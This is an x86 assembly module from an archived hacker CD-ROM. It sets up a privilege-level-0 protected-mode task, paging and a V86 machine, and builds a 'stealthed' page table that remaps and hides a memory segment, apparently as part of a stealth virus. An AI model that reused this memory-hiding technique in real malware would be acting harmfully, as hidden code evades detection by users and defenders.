home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / PROTMODE / TASK1.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-08-03  |  5.2 KB  |  120 lines

  1. ;******************************************************************************
  2. ;This is the task which executes at privilege level 0 in protected mode. Its
  3. ;job is to start up the V86 Virtual Machine.
  4. ;******************************************************************************
  5.  
  6. TASK1           SEGMENT PARA USE32 'CODE'
  7.                 ASSUME CS:TASK1, DS:TASK1, SS:TASK1
  8.  
  9. ;The following are the selectors defined in protected mode
  10. Null            EQU     0H
  11. BIOS_SEL        EQU     08H+RPL0     ;bios data ram segment (0:0) selector
  12. TSS_1_SEL       EQU     10H+RPL0     ;selector for TSS for task 1
  13. CODE_1_SEL      EQU     18H+RPL0     ;task 1 code segment selector
  14. DATA_1_SEL      EQU     20H+RPL0     ;task 1 data segment selector
  15. TSS_2_SEL       EQU     28H+RPL3     ;selector for TSS for task 2
  16.  
  17. SEG_FAULT       DW      0                       ;segment to remap
  18. NEW_21H         DD      0                       ;new INT 21H handler vector
  19.  
  20. ;This routine is responsible for getting the V86 machine up and running.
  21. V86_LOADER:
  22.                 mov     ax,DATA_1_SEL           ;now set up segments
  23.                 mov     ds,ax                   ;for protected mode
  24.                 mov     es,ax
  25.                 mov     fs,ax
  26.                 mov     gs,ax
  27.                 mov     ss,ax                   ;set up stack
  28.                 mov     esp,OFFSET TASK1_STACK + STACK_SIZE
  29.                 xor     eax,eax
  30.                 lldt    ax                      ;make sure ldt register is 0
  31.                 call    SETUP_PAGE_TABLES       ;setup paging
  32.                 mov     ax,TSS_1_SEL            ;init task register
  33.                 ltr     ax
  34.                 mov     eax,118000H             ;set up page directory @
  35.                 mov     cr3,eax
  36.                 mov     eax,cr0                 ;turn paging on
  37.                 or      eax,80000000H
  38.                 mov     cr0,eax
  39.                 jmp     FWORD PTR [TASK_GATE_2] ;go to V86 mode
  40.  
  41.  
  42. ;This routine sets up the page table for protected paging. It expects es to
  43. ;point to the page table segment.
  44. SETUP_PAGE_TABLES:
  45.         ;First, build page directory at 118000H, page table at 119000H
  46.                 mov     eax,119007H             ;set up page dir
  47.                 mov     edi,8000H               ;location of page directory
  48.                 stosd                           ;first entry points to a table
  49.                 mov     eax,0
  50.                 mov     ecx,1023
  51.                 rep     stosd                   ;the rest are empty
  52.  
  53.         ;Now build standard page table at 119000H
  54.                 mov     eax,7                   ;all pages accessible
  55.                 mov     ebx,4096                ;linear mem = physical mem
  56.                 mov     ecx,1024
  57. SPLP1:          stosd
  58.                 add     eax,ebx
  59.                 loop    SPLP1
  60.  
  61.         ;Now build another page directory at 11A000H, pg table at 11B000H
  62.                 mov     eax,11B007H             ;set up page dir
  63.                 stosd                           ;first entry points to a table
  64.                 mov     eax,0
  65.                 mov     ecx,1023
  66.                 rep     stosd                   ;the rest are empty
  67.  
  68.         ;And build the page table for stealthed operation at 11B000H
  69.                 xor     edx,edx
  70.                 mov     dx,[SEG_FAULT]
  71.                 shl     edx,4                   ;ebp=start @ to stealth
  72.                 add     edx,7
  73.                 mov     eax,7                   ;now do page table
  74.                 mov     ebx,4096
  75.                 mov     ecx,1024
  76. SPLP2:          cmp     eax,edx                 ;set pages below 1st to
  77.                 je      SP1                     ;stealth up
  78.                 stosd                           ;with linear=physical
  79.                 add     eax,ebx
  80.                 loop    SPLP2
  81.  
  82. SP1:            sub     cx,PAGES
  83.                 push    ecx                     ;save count for later
  84.                 xor     ecx,ecx
  85.                 mov     cx,PAGES                ;ecx=pages to fault
  86.                 mov     eax,11C007H             ;location of 1st stealthed pg
  87. SPLP3:          stosd                           ;set up stealthed pages
  88.                 add     eax,ebx
  89.                 add     edx,ebx
  90.                 loop    SPLP3
  91.  
  92.                 pop     ecx                     ;now finish up
  93.                 mov     eax,edx
  94. SPLP4:          stosd
  95.                 add     eax,ebx
  96.                 loop    SPLP4
  97.                 ret
  98.  
  99. ;Include interrupt handlers for protected mode here.
  100. INCLUDE GPFAULT.ASM     ;general protection fault handler
  101. INCLUDE HWHNDLR.ASM     ;hardware interrupt handlers
  102. INCLUDE PMVIDEO.ASM     ;protected mode video handler
  103. ;INCLUDE PGFAULT.ASM     ;page fault routine
  104. INCLUDE NOTIMP.ASM      ;handler for anything not implemented
  105.  
  106. INCLUDE TABLES.ASM      ;include GDT, IDT and TSS tables
  107.  
  108. SEG_END:
  109.  
  110. TASK1_STACK     DB      STACK_SIZE DUP (?)              ;Stack for this task
  111.  
  112. TASK2_STACK0    DB      STACK_SIZE DUP (?)
  113. TASK2_STACK1:                                           ;never used
  114. TASK2_STACK2:
  115.  
  116. END_TASK1:                                              ;end of this segment
  117.  
  118. TASK1           ENDS
  119.  
  120.